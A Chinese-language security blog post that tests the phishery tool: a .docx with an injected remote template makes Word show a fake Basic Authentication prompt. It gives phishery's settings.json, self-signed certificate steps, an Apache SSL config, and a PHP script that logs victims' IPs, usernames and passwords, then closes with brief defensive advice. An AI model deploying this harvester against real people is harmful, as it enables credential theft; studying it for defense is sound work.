Phishing credentials via Basic Authentication(phishery)利用测试

本文将要介绍以下内容：

• phishery实际测试

• 实现原理

• 补充1： 使用openssh制作证书

• 补充2： php实现Basic Authentication

• 防御建议

参数说明：

• https://secure.site.local/docs作为伪造的web服务器地址，docs为文件名称(该文件必须存在，默认对应文件template.dotx)，目标用户在打开bad.docx时，会显示该域名

• good.docx为输入的word文档，文档为正常内容

• bad.docx为输出的word文档，在good.docx中插入Word document template

默认加载的配置文件为同级目录下的settings.json

内容如下:

{
 "ip": "0.0.0.0",
 "port": "443",
 "sslCert": "server.crt",
 "sslKey": "server.key",
 "basicRealm": "Secure Document Gateway",
 "responseStatus": 200,
 "responseFile": "template.dotx",
 "responseHeaders": [
   ["Content-Type", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"]
 ]
}

1、安装openssh

Ubuntu：

sudo apt-get install openssl

参数如下：

openssl x509 -req -days 3650 -in test.com.csr -signkey test.com.key -out test.com.crt

如果证书缺少主题备用名称SAN (Subject Alternate Name)，需要通过配置文件进行添加

参考资料：

https://support.citrix.com/article/CTX135602_

新建文件req.cnf，内容如下：

[req]
distinguished_name = req_distinguished_name
x509_extensions = v3_req
prompt = no
[req_distinguished_name]
C = US
ST = VA
L = SomeCity
O = MyCompany
OU = MyDivision
CN = test.com
[v3_req]
keyUsage = critical, digitalSignature, keyAgreement
extendedKeyUsage = serverAuth
subjectAltName = @alt_names
[alt_names]
DNS.1 = test.com

1、phpstudy开启ssl

(1)修改apache目录下的httpd.conf配置文件

定位#LoadModule ssl_module modules/mod_ssl.so，去掉注释符#

# Secure (SSL/TLS) connections下添加一行Include conf/vhosts_ssl.conf

(2)在conf文件夹下创建文件vhosts_ssl.conf

内容如下：

Listen 443
SSLStrictSNIVHostCheck off
SSLCipherSuite AESGCM:ALL:!DH:!EXPORT:!RC4:+HIGH:!MEDIUM:!LOW:!aNULL:!eNULL
SSLProtocol all -SSLv2 -SSLv3
<VirtualHost *:443>
   DocumentRoot "C:\WWW"
   ServerName test.com
 <Directory "C:\WWW">
     Options FollowSymLinks ExecCGI
     AllowOverride All
     Order allow,deny
     Allow from all
     Require all granted
 </Directory>
SSLEngine on
SSLCertificateFile "C:\Apache\conf\ssl\test.com.crt"
SSLCertificateKeyFile "C:\Apache\conf\ssl\test.com.key"
</VirtualHost>

php代码如下：

<?php
if(!isset($_SERVER['PHP_AUTH_USER']) or !isset($_SERVER['PHP_AUTH_PW']))
{
   file_put_contents("log.txt","ClientIP:".$_SERVER['REMOTE_ADDR']."\r\n",FILE_APPEND);
header('WWW-Authenticate: Basic realm="Document Security"');
header('HTTP/1.0 401 Unauthorized');
}
else
{
file_put_contents("log.txt","ClientIP:".$_SERVER['REMOTE_ADDR'].",".$_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']."\r\n",FILE_APPEND);
   print "File Not Found";
}

检测到的实际攻击活动：

https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/

结合本文的分析和实际攻击活动的细节，给出如下建议：

• 正常word文档很少会要求用户输入凭据

• 对域名的证书进行检查(针对https)

• 对域名进行识别，是否是伪造的域名